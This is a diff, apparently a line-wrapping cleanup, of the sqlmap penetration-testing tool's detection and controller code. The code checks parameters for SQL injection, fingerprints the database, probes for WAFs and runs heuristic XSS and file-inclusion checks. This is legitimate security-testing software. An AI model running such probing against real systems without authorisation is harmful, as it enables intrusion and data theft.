if re.match(r"\A[\w.,! ]+\Z", candidate) and ' ' in candidate and candidate.strip() and len(candidate) > CANDIDATE_SENTENCE_MIN_LENGTH: if re.match(r"\A[\w.,! ]+\Z",
candidate) and ' ' in candidate and candidate.strip() and len(
candidate) > CANDIDATE_SENTENCE_MIN_LENGTH:
suggestion = conf.string = candidate suggestion = conf.string = candidate
injectable = True injectable = True
infoMsg = "%sparameter '%s' appears to be '%s' injectable (with --string=\"%s\")" % ("%s " % paramType if paramType != parameter else "", parameter, title, repr(conf.string).lstrip('u').strip("'")) infoMsg = "%sparameter '%s' appears to be '%s' injectable (with --string=\"%s\")" % (
"%s " % paramType if paramType != parameter else "", parameter,
title, repr(conf.string).lstrip('u').strip("'"))
logger.info(infoMsg) logger.info(infoMsg)
break break
if injectable: if injectable:
if kb.pageStable and not any((conf.string, conf.notString, conf.regexp, conf.code, kb.nullConnection)): if kb.pageStable and not any(
(conf.string, conf.notString, conf.regexp, conf.code, kb.nullConnection)):
if all((falseCode, trueCode)) and falseCode != trueCode: if all((falseCode, trueCode)) and falseCode != trueCode:
suggestion = conf.code = trueCode suggestion = conf.code = trueCode
infoMsg = "%sparameter '%s' appears to be '%s' injectable (with --code=%d)" % ("%s " % paramType if paramType != parameter else "", parameter, title, conf.code) infoMsg = "%sparameter '%s' appears to be '%s' injectable (with --code=%d)" % (
"%s " % paramType if paramType != parameter else "", parameter, title,
conf.code)
logger.info(infoMsg) logger.info(infoMsg)
else: else:
trueSet = set(extractTextTagContent(trueRawResponse)) trueSet = set(extractTextTagContent(trueRawResponse))
@ -598,21 +641,28 @@ def checkSqlInjection(place, parameter, value):
else: else:
errorSet = set() errorSet = set()
candidates = filterNone(_.strip() if _.strip() in trueRawResponse and _.strip() not in falseRawResponse else None for _ in (trueSet - falseSet - errorSet)) candidates = filterNone(
_.strip() if _.strip() in trueRawResponse and _.strip() not in falseRawResponse else None
for _ in (trueSet - falseSet - errorSet))
if candidates: if candidates:
candidates = sorted(candidates, key=len) candidates = sorted(candidates, key=len)
for candidate in candidates: for candidate in candidates:
if re.match(r"\A\w{2,}\Z", candidate): # Note: length of 1 (e.g. --string=5) could cause trouble, especially in error message pages with partially reflected payload content if re.match(r"\A\w{2,}\Z",
candidate): # Note: length of 1 (e.g. --string=5) could cause trouble, especially in error message pages with partially reflected payload content
break break
suggestion = conf.string = candidate suggestion = conf.string = candidate
infoMsg = "%sparameter '%s' appears to be '%s' injectable (with --string=\"%s\")" % ("%s " % paramType if paramType != parameter else "", parameter, title, repr(conf.string).lstrip('u').strip("'")) infoMsg = "%sparameter '%s' appears to be '%s' injectable (with --string=\"%s\")" % (
"%s " % paramType if paramType != parameter else "", parameter, title,
repr(conf.string).lstrip('u').strip("'"))
logger.info(infoMsg) logger.info(infoMsg)
if not any((conf.string, conf.notString)): if not any((conf.string, conf.notString)):
candidates = filterNone(_.strip() if _.strip() in falseRawResponse and _.strip() not in trueRawResponse else None for _ in (falseSet - trueSet)) candidates = filterNone(
_.strip() if _.strip() in falseRawResponse and _.strip() not in trueRawResponse else None
for _ in (falseSet - trueSet))
if candidates: if candidates:
candidates = sorted(candidates, key=len) candidates = sorted(candidates, key=len)
@ -622,11 +672,14 @@ def checkSqlInjection(place, parameter, value):
suggestion = conf.notString = candidate suggestion = conf.notString = candidate
infoMsg = "%sparameter '%s' appears to be '%s' injectable (with --not-string=\"%s\")" % ("%s " % paramType if paramType != parameter else "", parameter, title, repr(conf.notString).lstrip('u').strip("'")) infoMsg = "%sparameter '%s' appears to be '%s' injectable (with --not-string=\"%s\")" % (
"%s " % paramType if paramType != parameter else "", parameter, title,
repr(conf.notString).lstrip('u').strip("'"))
logger.info(infoMsg) logger.info(infoMsg)
if not suggestion: if not suggestion:
infoMsg = "%sparameter '%s' appears to be '%s' injectable " % ("%s " % paramType if paramType != parameter else "", parameter, title) infoMsg = "%sparameter '%s' appears to be '%s' injectable " % (
"%s " % paramType if paramType != parameter else "", parameter, title)
singleTimeLogMessage(infoMsg) singleTimeLogMessage(infoMsg)
# In case of error-based SQL injection # In case of error-based SQL injection
@ -636,15 +689,22 @@ def checkSqlInjection(place, parameter, value):
try: try:
page, headers, _ = Request.queryPage(reqPayload, place, content=True, raise404=False) page, headers, _ = Request.queryPage(reqPayload, place, content=True, raise404=False)
output = extractRegexResult(check, page, re.DOTALL | re.IGNORECASE) output = extractRegexResult(check, page, re.DOTALL | re.IGNORECASE)
output = output or extractRegexResult(check, threadData.lastHTTPError[2] if wasLastResponseHTTPError() else None, re.DOTALL | re.IGNORECASE) output = output or extractRegexResult(check, threadData.lastHTTPError[
output = output or extractRegexResult(check, listToStrValue((headers[key] for key in headers if key.lower() != URI_HTTP_HEADER.lower()) if headers else None), re.DOTALL | re.IGNORECASE) 2] if wasLastResponseHTTPError() else None, re.DOTALL | re.IGNORECASE)
output = output or extractRegexResult(check, threadData.lastRedirectMsg[1] if threadData.lastRedirectMsg and threadData.lastRedirectMsg[0] == threadData.lastRequestUID else None, re.DOTALL | re.IGNORECASE) output = output or extractRegexResult(check, listToStrValue(
(headers[key] for key in headers if
key.lower() != URI_HTTP_HEADER.lower()) if headers else None),
re.DOTALL | re.IGNORECASE)
output = output or extractRegexResult(check, threadData.lastRedirectMsg[
1] if threadData.lastRedirectMsg and threadData.lastRedirectMsg[
0] == threadData.lastRequestUID else None, re.DOTALL | re.IGNORECASE)
if output: if output:
result = output == '1' result = output == '1'
if result: if result:
infoMsg = "%sparameter '%s' is '%s' injectable " % ("%s " % paramType if paramType != parameter else "", parameter, title) infoMsg = "%sparameter '%s' is '%s' injectable " % (
"%s " % paramType if paramType != parameter else "", parameter, title)
logger.info(infoMsg) logger.info(infoMsg)
injectable = True injectable = True
@ -665,7 +725,8 @@ def checkSqlInjection(place, parameter, value):
if trueResult: if trueResult:
# Extra validation step (e.g. to check for DROP protection mechanisms) # Extra validation step (e.g. to check for DROP protection mechanisms)
if SLEEP_TIME_MARKER in reqPayload: if SLEEP_TIME_MARKER in reqPayload:
falseResult = Request.queryPage(reqPayload.replace(SLEEP_TIME_MARKER, "0"), place, timeBasedCompare=True, raise404=False) falseResult = Request.queryPage(reqPayload.replace(SLEEP_TIME_MARKER, "0"), place,
timeBasedCompare=True, raise404=False)
if falseResult: if falseResult:
continue continue
@ -673,7 +734,8 @@ def checkSqlInjection(place, parameter, value):
trueResult = Request.queryPage(reqPayload, place, timeBasedCompare=True, raise404=False) trueResult = Request.queryPage(reqPayload, place, timeBasedCompare=True, raise404=False)
if trueResult: if trueResult:
infoMsg = "%sparameter '%s' appears to be '%s' injectable " % ("%s " % paramType if paramType != parameter else "", parameter, title) infoMsg = "%sparameter '%s' appears to be '%s' injectable " % (
"%s " % paramType if paramType != parameter else "", parameter, title)
logger.info(infoMsg) logger.info(infoMsg)
injectable = True injectable = True
@ -712,7 +774,8 @@ def checkSqlInjection(place, parameter, value):
reqPayload, vector = unionTest(comment, place, parameter, value, prefix, suffix) reqPayload, vector = unionTest(comment, place, parameter, value, prefix, suffix)
if isinstance(reqPayload, six.string_types): if isinstance(reqPayload, six.string_types):
infoMsg = "%sparameter '%s' is '%s' injectable" % ("%s " % paramType if paramType != parameter else "", parameter, title) infoMsg = "%sparameter '%s' is '%s' injectable" % (
"%s " % paramType if paramType != parameter else "", parameter, title)
logger.info(infoMsg) logger.info(infoMsg)
injectable = True injectable = True
@ -835,7 +898,8 @@ def checkSqlInjection(place, parameter, value):
# Return the injection object # Return the injection object
if injection.place is not None and injection.parameter is not None: if injection.place is not None and injection.parameter is not None:
if not conf.dropSetCookie and PAYLOAD.TECHNIQUE.BOOLEAN in injection.data and injection.data[PAYLOAD.TECHNIQUE.BOOLEAN].vector.startswith('OR'): if not conf.dropSetCookie and PAYLOAD.TECHNIQUE.BOOLEAN in injection.data and injection.data[
PAYLOAD.TECHNIQUE.BOOLEAN].vector.startswith('OR'):
warnMsg = "in OR boolean-based injection cases, please consider usage " warnMsg = "in OR boolean-based injection cases, please consider usage "
warnMsg += "of switch '--drop-set-cookie' if you experience any " warnMsg += "of switch '--drop-set-cookie' if you experience any "
warnMsg += "problems during data retrieval" warnMsg += "problems during data retrieval"
@ -855,6 +919,7 @@ def checkSqlInjection(place, parameter, value):
return injection return injection
@stackedmethod @stackedmethod
def heuristicCheckDbms(injection): def heuristicCheckDbms(injection):
""" """
@ -878,14 +943,18 @@ def heuristicCheckDbms(injection):
Backend.forceDbms(dbms) Backend.forceDbms(dbms)
if dbms in HEURISTIC_NULL_EVAL: if dbms in HEURISTIC_NULL_EVAL:
result = checkBooleanExpression("(SELECT %s%s) IS NULL" % (HEURISTIC_NULL_EVAL[dbms], FROM_DUMMY_TABLE.get(dbms, ""))) result = checkBooleanExpression(
elif not ((randStr1 in unescaper.escape("'%s'" % randStr1)) and list(FROM_DUMMY_TABLE.values()).count(FROM_DUMMY_TABLE.get(dbms, "")) != 1): "(SELECT %s%s) IS NULL" % (HEURISTIC_NULL_EVAL[dbms], FROM_DUMMY_TABLE.get(dbms, "")))
result = checkBooleanExpression("(SELECT '%s'%s)=%s%s%s" % (randStr1, FROM_DUMMY_TABLE.get(dbms, ""), SINGLE_QUOTE_MARKER, randStr1, SINGLE_QUOTE_MARKER)) elif not ((randStr1 in unescaper.escape("'%s'" % randStr1)) and list(FROM_DUMMY_TABLE.values()).count(
FROM_DUMMY_TABLE.get(dbms, "")) != 1):
result = checkBooleanExpression("(SELECT '%s'%s)=%s%s%s" % (
randStr1, FROM_DUMMY_TABLE.get(dbms, ""), SINGLE_QUOTE_MARKER, randStr1, SINGLE_QUOTE_MARKER))
else: else:
result = False result = False
if result: if result:
if not checkBooleanExpression("(SELECT '%s'%s)=%s%s%s" % (randStr1, FROM_DUMMY_TABLE.get(dbms, ""), SINGLE_QUOTE_MARKER, randStr2, SINGLE_QUOTE_MARKER)): if not checkBooleanExpression("(SELECT '%s'%s)=%s%s%s" % (
randStr1, FROM_DUMMY_TABLE.get(dbms, ""), SINGLE_QUOTE_MARKER, randStr2, SINGLE_QUOTE_MARKER)):
retVal = dbms retVal = dbms
break break
@ -901,6 +970,7 @@ def heuristicCheckDbms(injection):
return retVal return retVal
@stackedmethod @stackedmethod
def checkFalsePositives(injection): def checkFalsePositives(injection):
""" """
@ -909,7 +979,10 @@ def checkFalsePositives(injection):
retVal = True retVal = True
if all(_ in (PAYLOAD.TECHNIQUE.BOOLEAN, PAYLOAD.TECHNIQUE.TIME, PAYLOAD.TECHNIQUE.STACKED) for _ in injection.data) or (len(injection.data) == 1 and PAYLOAD.TECHNIQUE.UNION in injection.data and "Generic" in injection.data[PAYLOAD.TECHNIQUE.UNION].title): if all(_ in (PAYLOAD.TECHNIQUE.BOOLEAN, PAYLOAD.TECHNIQUE.TIME, PAYLOAD.TECHNIQUE.STACKED) for _ in
injection.data) or (
len(injection.data) == 1 and PAYLOAD.TECHNIQUE.UNION in injection.data and "Generic" in injection.data[
PAYLOAD.TECHNIQUE.UNION].title):
pushValue(kb.injection) pushValue(kb.injection)
infoMsg = "checking if the injection point on %s " % injection.place infoMsg = "checking if the injection point on %s " % injection.place
@ -942,21 +1015,26 @@ def checkFalsePositives(injection):
break break
if PAYLOAD.TECHNIQUE.BOOLEAN not in injection.data: if PAYLOAD.TECHNIQUE.BOOLEAN not in injection.data:
checkBooleanExpression("%d%s%d" % (randInt1, INFERENCE_EQUALS_CHAR, randInt2)) # just in case if DBMS hasn't properly recovered from previous delayed request checkBooleanExpression("%d%s%d" % (randInt1, INFERENCE_EQUALS_CHAR,
randInt2)) # just in case if DBMS hasn't properly recovered from previous delayed request
if checkBooleanExpression("%d%s%d" % (randInt1, INFERENCE_EQUALS_CHAR, randInt3)): # this must not be evaluated to True if checkBooleanExpression(
"%d%s%d" % (randInt1, INFERENCE_EQUALS_CHAR, randInt3)): # this must not be evaluated to True
retVal = False retVal = False
break break
elif checkBooleanExpression("%d%s%d" % (randInt3, INFERENCE_EQUALS_CHAR, randInt2)): # this must not be evaluated to True elif checkBooleanExpression(
"%d%s%d" % (randInt3, INFERENCE_EQUALS_CHAR, randInt2)): # this must not be evaluated to True
retVal = False retVal = False
break break
elif not checkBooleanExpression("%d%s%d" % (randInt2, INFERENCE_EQUALS_CHAR, randInt2)): # this must be evaluated to True elif not checkBooleanExpression(
"%d%s%d" % (randInt2, INFERENCE_EQUALS_CHAR, randInt2)): # this must be evaluated to True
retVal = False retVal = False
break break
elif checkBooleanExpression("%d %d" % (randInt3, randInt2)): # this must not be evaluated to True (invalid statement) elif checkBooleanExpression(
"%d %d" % (randInt3, randInt2)): # this must not be evaluated to True (invalid statement)
retVal = False retVal = False
break break
@ -968,6 +1046,7 @@ def checkFalsePositives(injection):
return retVal return retVal
@stackedmethod @stackedmethod
def checkSuhosinPatch(injection): def checkSuhosinPatch(injection):
""" """
@ -992,6 +1071,7 @@ def checkSuhosinPatch(injection):
kb.injection = popValue() kb.injection = popValue()
@stackedmethod @stackedmethod
def checkFilteredChars(injection): def checkFilteredChars(injection):
debugMsg = "checking for filtered characters" debugMsg = "checking for filtered characters"
@ -1012,7 +1092,8 @@ def checkFilteredChars(injection):
logger.warning(warnMsg) logger.warning(warnMsg)
# inference techniques depend on character '>' # inference techniques depend on character '>'
if not any(_ in injection.data for _ in (PAYLOAD.TECHNIQUE.ERROR, PAYLOAD.TECHNIQUE.UNION, PAYLOAD.TECHNIQUE.QUERY)): if not any(
_ in injection.data for _ in (PAYLOAD.TECHNIQUE.ERROR, PAYLOAD.TECHNIQUE.UNION, PAYLOAD.TECHNIQUE.QUERY)):
if not checkBooleanExpression("%d>%d" % (randInt + 1, randInt)): if not checkBooleanExpression("%d>%d" % (randInt + 1, randInt)):
warnMsg = "it appears that the character '>' is " warnMsg = "it appears that the character '>' is "
warnMsg += "filtered by the back-end server. You are strongly " warnMsg += "filtered by the back-end server. You are strongly "
@ -1021,6 +1102,7 @@ def checkFilteredChars(injection):
kb.injection = popValue() kb.injection = popValue()
def heuristicCheckSqlInjection(place, parameter): def heuristicCheckSqlInjection(place, parameter):
if conf.skipHeuristics: if conf.skipHeuristics:
return None return None
@ -1054,7 +1136,8 @@ def heuristicCheckSqlInjection(place, parameter):
parseFilePaths(page) parseFilePaths(page)
result = wasLastResponseDBMSError() result = wasLastResponseDBMSError()
infoMsg = "heuristic (basic) test shows that %sparameter '%s' might " % ("%s " % paramType if paramType != parameter else "", parameter) infoMsg = "heuristic (basic) test shows that %sparameter '%s' might " % (
"%s " % paramType if paramType != parameter else "", parameter)
def _(page): def _(page):
return any(_ in (page or "") for _ in FORMAT_EXCEPTION_STRINGS) return any(_ in (page or "") for _ in FORMAT_EXCEPTION_STRINGS)
@ -1097,7 +1180,8 @@ def heuristicCheckSqlInjection(place, parameter):
logger.error(errMsg) logger.error(errMsg)
if kb.ignoreCasted is None: if kb.ignoreCasted is None:
message = "do you want to skip those kind of cases (and save scanning time)? %s " % ("[Y/n]" if conf.multipleTargets else "[y/N]") message = "do you want to skip those kind of cases (and save scanning time)? %s " % (
"[Y/n]" if conf.multipleTargets else "[y/N]")
kb.ignoreCasted = readInput(message, default='Y' if conf.multipleTargets else 'N', boolean=True) kb.ignoreCasted = readInput(message, default='Y' if conf.multipleTargets else 'N', boolean=True)
elif result: elif result:
@ -1123,7 +1207,8 @@ def heuristicCheckSqlInjection(place, parameter):
# Reference: https://bugs.python.org/issue18183 # Reference: https://bugs.python.org/issue18183
if value.upper() in (page or "").upper(): if value.upper() in (page or "").upper():
infoMsg = "heuristic (XSS) test shows that %sparameter '%s' might be vulnerable to cross-site scripting (XSS) attacks" % ("%s " % paramType if paramType != parameter else "", parameter) infoMsg = "heuristic (XSS) test shows that %sparameter '%s' might be vulnerable to cross-site scripting (XSS) attacks" % (
"%s " % paramType if paramType != parameter else "", parameter)
logger.info(infoMsg) logger.info(infoMsg)
if conf.beep: if conf.beep:
@ -1131,7 +1216,8 @@ def heuristicCheckSqlInjection(place, parameter):
for match in re.finditer(FI_ERROR_REGEX, page or ""): for match in re.finditer(FI_ERROR_REGEX, page or ""):
if randStr1.lower() in match.group(0).lower(): if randStr1.lower() in match.group(0).lower():
infoMsg = "heuristic (FI) test shows that %sparameter '%s' might be vulnerable to file inclusion (FI) attacks" % ("%s " % paramType if paramType != parameter else "", parameter) infoMsg = "heuristic (FI) test shows that %sparameter '%s' might be vulnerable to file inclusion (FI) attacks" % (
"%s " % paramType if paramType != parameter else "", parameter)
logger.info(infoMsg) logger.info(infoMsg)
if conf.beep: if conf.beep:
@ -1144,6 +1230,7 @@ def heuristicCheckSqlInjection(place, parameter):
return kb.heuristicTest return kb.heuristicTest
def checkDynParam(place, parameter, value): def checkDynParam(place, parameter, value):
""" """
This function checks if the URL parameter is dynamic. If it is This function checks if the URL parameter is dynamic. If it is
@ -1160,7 +1247,8 @@ def checkDynParam(place, parameter, value):
paramType = conf.method if conf.method not in (None, HTTPMETHOD.GET, HTTPMETHOD.POST) else place paramType = conf.method if conf.method not in (None, HTTPMETHOD.GET, HTTPMETHOD.POST) else place
infoMsg = "testing if %sparameter '%s' is dynamic" % ("%s " % paramType if paramType != parameter else "", parameter) infoMsg = "testing if %sparameter '%s' is dynamic" % (
"%s " % paramType if paramType != parameter else "", parameter)
logger.info(infoMsg) logger.info(infoMsg)
try: try:
@ -1174,6 +1262,7 @@ def checkDynParam(place, parameter, value):
return result return result
def checkDynamicContent(firstPage, secondPage): def checkDynamicContent(firstPage, secondPage):
""" """
This function checks for the dynamic content in the provided pages This function checks for the dynamic content in the provided pages
@ -1230,6 +1319,7 @@ def checkDynamicContent(firstPage, secondPage):
secondPage, _, _ = Request.queryPage(content=True) secondPage, _, _ = Request.queryPage(content=True)
findDynamicContent(firstPage, secondPage) findDynamicContent(firstPage, secondPage)
def checkStability(): def checkStability():
""" """
This function checks if the URL content is stable requesting the This function checks if the URL content is stable requesting the
@ -1323,6 +1413,7 @@ def checkStability():
return kb.pageStable return kb.pageStable
@stackedmethod @stackedmethod
def checkWaf(): def checkWaf():
""" """
@ -1369,7 +1460,8 @@ def checkWaf():
conf.timeout = IPS_WAF_CHECK_TIMEOUT conf.timeout = IPS_WAF_CHECK_TIMEOUT
try: try:
retVal = (Request.queryPage(place=place, value=value, getRatioValue=True, noteResponseTime=False, silent=True, raise404=False, disableTampering=True)[1] or 0) < IPS_WAF_CHECK_RATIO retVal = (Request.queryPage(place=place, value=value, getRatioValue=True, noteResponseTime=False, silent=True,
raise404=False, disableTampering=True)[1] or 0) < IPS_WAF_CHECK_RATIO
except SqlmapConnectionException: except SqlmapConnectionException:
retVal = True retVal = True
finally: finally:
@ -1400,6 +1492,7 @@ def checkWaf():
return retVal return retVal
@stackedmethod @stackedmethod
def checkNullConnection(): def checkNullConnection():
""" """
@ -1459,6 +1552,7 @@ def checkNullConnection():
return kb.nullConnection in getPublicTypeMembers(NULLCONNECTION, True) return kb.nullConnection in getPublicTypeMembers(NULLCONNECTION, True)
def checkConnection(suppressOutput=False): def checkConnection(suppressOutput=False):
threadData = getCurrentThreadData() threadData = getCurrentThreadData()
@ -1515,7 +1609,8 @@ def checkConnection(suppressOutput=False):
kb.errorIsNone = False kb.errorIsNone = False
if any(_ in (kb.serverHeader or "") for _ in PRECONNECT_INCOMPATIBLE_SERVERS): if any(_ in (kb.serverHeader or "") for _ in PRECONNECT_INCOMPATIBLE_SERVERS):
singleTimeWarnMessage("turning off pre-connect mechanism because of incompatible server ('%s')" % kb.serverHeader) singleTimeWarnMessage(
"turning off pre-connect mechanism because of incompatible server ('%s')" % kb.serverHeader)
conf.disablePrecon = True conf.disablePrecon = True
if not kb.originalPage and wasLastResponseHTTPError(): if not kb.originalPage and wasLastResponseHTTPError():
@ -1534,8 +1629,10 @@ def checkConnection(suppressOutput=False):
else: else:
kb.errorIsNone = True kb.errorIsNone = True
if kb.choices.redirect == REDIRECTION.YES and threadData.lastRedirectURL and threadData.lastRedirectURL[0] == threadData.lastRequestUID: if kb.choices.redirect == REDIRECTION.YES and threadData.lastRedirectURL and threadData.lastRedirectURL[
if (threadData.lastRedirectURL[1] or "").startswith("https://") and conf.hostname in getUnicode(threadData.lastRedirectURL[1]): 0] == threadData.lastRequestUID:
if (threadData.lastRedirectURL[1] or "").startswith("https://") and conf.hostname in getUnicode(
threadData.lastRedirectURL[1]):
conf.url = re.sub(r"https?://", "https://", conf.url) conf.url = re.sub(r"https?://", "https://", conf.url)
match = re.search(r":(\d+)", threadData.lastRedirectURL[1]) match = re.search(r":(\d+)", threadData.lastRedirectURL[1])
port = match.group(1) if match else 443 port = match.group(1) if match else 443
@ -1550,7 +1647,7 @@ def checkConnection(suppressOutput=False):
warnMsg += "any addressing issues" warnMsg += "any addressing issues"
singleTimeWarnMessage(warnMsg) singleTimeWarnMessage(warnMsg)
if any(code in kb.httpErrorCodes for code in (_http_client.NOT_FOUND, )): if any(code in kb.httpErrorCodes for code in (_http_client.NOT_FOUND,)):
errMsg = getSafeExString(ex) errMsg = getSafeExString(ex)
logger.critical(errMsg) logger.critical(errMsg)
@ -1568,11 +1665,13 @@ def checkConnection(suppressOutput=False):
kb.originalPage = kb.pageTemplate = threadData.lastPage kb.originalPage = kb.pageTemplate = threadData.lastPage
kb.originalCode = threadData.lastCode kb.originalCode = threadData.lastCode
if conf.cj and not conf.cookie and not any(_[0] == HTTP_HEADER.COOKIE for _ in conf.httpHeaders) and not conf.dropSetCookie: if conf.cj and not conf.cookie and not any(
_[0] == HTTP_HEADER.COOKIE for _ in conf.httpHeaders) and not conf.dropSetCookie:
candidate = DEFAULT_COOKIE_DELIMITER.join("%s=%s" % (_.name, _.value) for _ in conf.cj) candidate = DEFAULT_COOKIE_DELIMITER.join("%s=%s" % (_.name, _.value) for _ in conf.cj)
message = "you have not declared cookie(s), while " message = "you have not declared cookie(s), while "
message += "server wants to set its own ('%s'). " % re.sub(r"(=[^=;]{10}[^=;])[^=;]+([^=;]{10})", r"\g<1>...\g<2>", candidate) message += "server wants to set its own ('%s'). " % re.sub(r"(=[^=;]{10}[^=;])[^=;]+([^=;]{10})",
r"\g<1>...\g<2>", candidate)
message += "Do you want to use those [Y/n] " message += "Do you want to use those [Y/n] "
if readInput(message, default='Y', boolean=True): if readInput(message, default='Y', boolean=True):
kb.mergeCookies = True kb.mergeCookies = True
@ -1580,9 +1679,11 @@ def checkConnection(suppressOutput=False):
return True return True
def checkInternet(): def checkInternet():
content = Request.getPage(url=CHECK_INTERNET_ADDRESS, checking=True)[0] content = Request.getPage(url=CHECK_INTERNET_ADDRESS, checking=True)[0]
return CHECK_INTERNET_VALUE in (content or "") return CHECK_INTERNET_VALUE in (content or "")
def setVerbosity(): # Cross-referenced function def setVerbosity(): # Cross-referenced function
raise NotImplementedError raise NotImplementedError

View File

@ -79,6 +79,7 @@ from lib.core.target import initTargetEnv
from lib.core.target import setupTargetEnv from lib.core.target import setupTargetEnv
from lib.utils.hash import crackHashFile from lib.utils.hash import crackHashFile
def _selectInjection(): def _selectInjection():
""" """
Selection function for injection place, parameters and type. Selection function for injection place, parameters and type.
@ -141,6 +142,7 @@ def _selectInjection():
kb.injection = kb.injections[index] kb.injection = kb.injections[index]
def _formatInjection(inj): def _formatInjection(inj):
paramType = conf.method if conf.method not in (None, HTTPMETHOD.GET, HTTPMETHOD.POST) else inj.place paramType = conf.method if conf.method not in (None, HTTPMETHOD.GET, HTTPMETHOD.POST) else inj.place
data = "Parameter: %s (%s)\n" % (inj.parameter, paramType) data = "Parameter: %s (%s)\n" % (inj.parameter, paramType)
@ -162,11 +164,13 @@ def _formatInjection(inj):
vector = "%s%s" % (vector, comment) vector = "%s%s" % (vector, comment)
data += " Type: %s\n" % PAYLOAD.SQLINJECTION[stype] data += " Type: %s\n" % PAYLOAD.SQLINJECTION[stype]
data += " Title: %s\n" % title data += " Title: %s\n" % title
data += " Payload: %s\n" % urldecode(payload, unsafe="&", spaceplus=(inj.place != PLACE.GET and kb.postSpaceToPlus)) data += " Payload: %s\n" % urldecode(payload, unsafe="&",
spaceplus=(inj.place != PLACE.GET and kb.postSpaceToPlus))
data += " Vector: %s\n\n" % vector if conf.verbose > 1 else "\n" data += " Vector: %s\n\n" % vector if conf.verbose > 1 else "\n"
return data return data
def _showInjections(): def _showInjections():
if conf.wizard and kb.wizardMode: if conf.wizard and kb.wizardMode:
kb.wizardMode = False kb.wizardMode = False
@ -178,7 +182,8 @@ def _showInjections():
header = "sqlmap resumed the following injection point(s) from stored session" header = "sqlmap resumed the following injection point(s) from stored session"
if conf.api: if conf.api:
conf.dumper.string("", {"url": conf.url, "query": conf.parameters.get(PLACE.GET), "data": conf.parameters.get(PLACE.POST)}, content_type=CONTENT_TYPE.TARGET) conf.dumper.string("", {"url": conf.url, "query": conf.parameters.get(PLACE.GET),
"data": conf.parameters.get(PLACE.POST)}, content_type=CONTENT_TYPE.TARGET)
conf.dumper.string("", kb.injections, content_type=CONTENT_TYPE.TECHNIQUES) conf.dumper.string("", kb.injections, content_type=CONTENT_TYPE.TECHNIQUES)
else: else:
data = "".join(set(_formatInjection(_) for _ in kb.injections)).rstrip("\n") data = "".join(set(_formatInjection(_) for _ in kb.injections)).rstrip("\n")
@ -194,6 +199,7 @@ def _showInjections():
warnMsg += "included in shown payload content(s)" warnMsg += "included in shown payload content(s)"
logger.warning(warnMsg) logger.warning(warnMsg)
def _randomFillBlankFields(value): def _randomFillBlankFields(value):
retVal = value retVal = value
@ -212,6 +218,7 @@ def _randomFillBlankFields(value):
return retVal return retVal
def _saveToHashDB(): def _saveToHashDB():
injections = hashDBRetrieve(HASHDB_KEYS.KB_INJECTIONS, True) injections = hashDBRetrieve(HASHDB_KEYS.KB_INJECTIONS, True)
if not isListLike(injections): if not isListLike(injections):
@ -236,6 +243,7 @@ def _saveToHashDB():
if not hashDBRetrieve(HASHDB_KEYS.KB_DYNAMIC_MARKINGS): if not hashDBRetrieve(HASHDB_KEYS.KB_DYNAMIC_MARKINGS):
hashDBWrite(HASHDB_KEYS.KB_DYNAMIC_MARKINGS, kb.dynamicMarkings, True) hashDBWrite(HASHDB_KEYS.KB_DYNAMIC_MARKINGS, kb.dynamicMarkings, True)
def _saveToResultsFile(): def _saveToResultsFile():
if not conf.resultsFP: if not conf.resultsFP:
return return
@ -256,7 +264,8 @@ def _saveToResultsFile():
try: try:
for key, value in results.items(): for key, value in results.items():
place, parameter, notes = key place, parameter, notes = key
line = "%s,%s,%s,%s,%s%s" % (safeCSValue(kb.originalUrls.get(conf.url) or conf.url), place, parameter, "".join(techniques[_][0].upper() for _ in sorted(value)), notes, os.linesep) line = "%s,%s,%s,%s,%s%s" % (safeCSValue(kb.originalUrls.get(conf.url) or conf.url), place, parameter,
"".join(techniques[_][0].upper() for _ in sorted(value)), notes, os.linesep)
conf.resultsFP.write(line) conf.resultsFP.write(line)
conf.resultsFP.flush() conf.resultsFP.flush()
@ -264,6 +273,7 @@ def _saveToResultsFile():
errMsg = "unable to write to the results file '%s' ('%s'). " % (conf.resultsFile, getSafeExString(ex)) errMsg = "unable to write to the results file '%s' ('%s'). " % (conf.resultsFile, getSafeExString(ex))
raise SqlmapSystemException(errMsg) raise SqlmapSystemException(errMsg)
@stackedmethod @stackedmethod
def start(): def start():
""" """
@ -339,9 +349,13 @@ def start():
if conf.data: if conf.data:
# Note: explicitly URL encode __ ASP(.NET) parameters (e.g. to avoid problems with Base64 encoded '+' character) - standard procedure in web browsers # Note: explicitly URL encode __ ASP(.NET) parameters (e.g. to avoid problems with Base64 encoded '+' character) - standard procedure in web browsers
conf.data = re.sub(r"\b(__\w+)=([^&]+)", lambda match: "%s=%s" % (match.group(1), urlencode(match.group(2), safe='%')), conf.data) conf.data = re.sub(r"\b(__\w+)=([^&]+)",
lambda match: "%s=%s" % (match.group(1), urlencode(match.group(2), safe='%')),
conf.data)
conf.httpHeaders = [conf.httpHeaders[i] for i in xrange(len(conf.httpHeaders)) if conf.httpHeaders[i][0].upper() not in (__[0].upper() for __ in conf.httpHeaders[i + 1:])] conf.httpHeaders = [conf.httpHeaders[i] for i in xrange(len(conf.httpHeaders)) if
conf.httpHeaders[i][0].upper() not in (__[0].upper() for __ in
conf.httpHeaders[i + 1:])]
initTargetEnv() initTargetEnv()
parseTargetUrl() parseTargetUrl()
@ -349,7 +363,9 @@ def start():
testSqlInj = False testSqlInj = False
if PLACE.GET in conf.parameters and not any((conf.data, conf.testParameter)): if PLACE.GET in conf.parameters and not any((conf.data, conf.testParameter)):
for parameter in re.findall(r"([^=]+)=([^%s]+%s?|\Z)" % (re.escape(conf.paramDel or "") or DEFAULT_GET_POST_DELIMITER, re.escape(conf.paramDel or "") or DEFAULT_GET_POST_DELIMITER), conf.parameters[PLACE.GET]): for parameter in re.findall(r"([^=]+)=([^%s]+%s?|\Z)" % (
re.escape(conf.paramDel or "") or DEFAULT_GET_POST_DELIMITER,
re.escape(conf.paramDel or "") or DEFAULT_GET_POST_DELIMITER), conf.parameters[PLACE.GET]):
paramKey = (conf.hostname, conf.path, PLACE.GET, parameter[0]) paramKey = (conf.hostname, conf.path, PLACE.GET, parameter[0])
if paramKey not in kb.testedParams: if paramKey not in kb.testedParams:
@ -377,15 +393,19 @@ def start():
if conf.multipleTargets: if conf.multipleTargets:
if conf.forms and conf.method: if conf.forms and conf.method:
message = "[%d/%s] Form:\n%s %s" % (targetCount, len(kb.targets) if isListLike(kb.targets) else '?', conf.method, targetUrl) message = "[%d/%s] Form:\n%s %s" % (
targetCount, len(kb.targets) if isListLike(kb.targets) else '?', conf.method, targetUrl)
else: else:
message = "[%d/%s] URL:\n%s %s" % (targetCount, len(kb.targets) if isListLike(kb.targets) else '?', HTTPMETHOD.GET, targetUrl) message = "[%d/%s] URL:\n%s %s" % (
